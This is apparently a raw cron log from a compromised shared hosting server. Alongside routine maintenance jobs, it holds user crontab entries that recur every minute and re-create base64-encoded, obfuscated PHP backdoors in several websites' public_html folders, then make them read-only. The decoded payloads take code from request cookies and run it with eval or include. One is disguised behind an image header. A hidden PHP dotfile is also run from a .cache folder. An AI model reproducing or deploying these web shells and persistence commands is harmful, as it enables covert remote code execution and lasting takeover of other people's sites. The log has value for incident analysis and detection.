Mar  2 08:41:02 medusa CROND[11618]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:41:02 medusa CROND[11619]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:41:02 medusa CROND[11622]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:42:01 medusa CROND[32059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:42:01 medusa CROND[32085]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:42:01 medusa CROND[32087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:42:01 medusa CROND[32088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:42:01 medusa CROND[32090]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:42:01 medusa CROND[32091]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:42:01 medusa CROND[32095]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:42:01 medusa CROND[32093]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:42:01 medusa CROND[32097]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:42:01 medusa CROND[32102]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:42:01 medusa CROND[32104]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:42:01 medusa CROND[32107]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:42:01 medusa CROND[32109]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:43:01 medusa CROND[18932]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:43:01 medusa CROND[18936]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:43:01 medusa CROND[18937]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:43:01 medusa CROND[18939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:43:01 medusa CROND[18940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:43:01 medusa CROND[18941]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 08:43:01 medusa CROND[18942]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:43:01 medusa CROND[18938]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:43:01 medusa CROND[18943]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:43:01 medusa CROND[18944]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:43:01 medusa CROND[18946]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:43:01 medusa CROND[18947]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
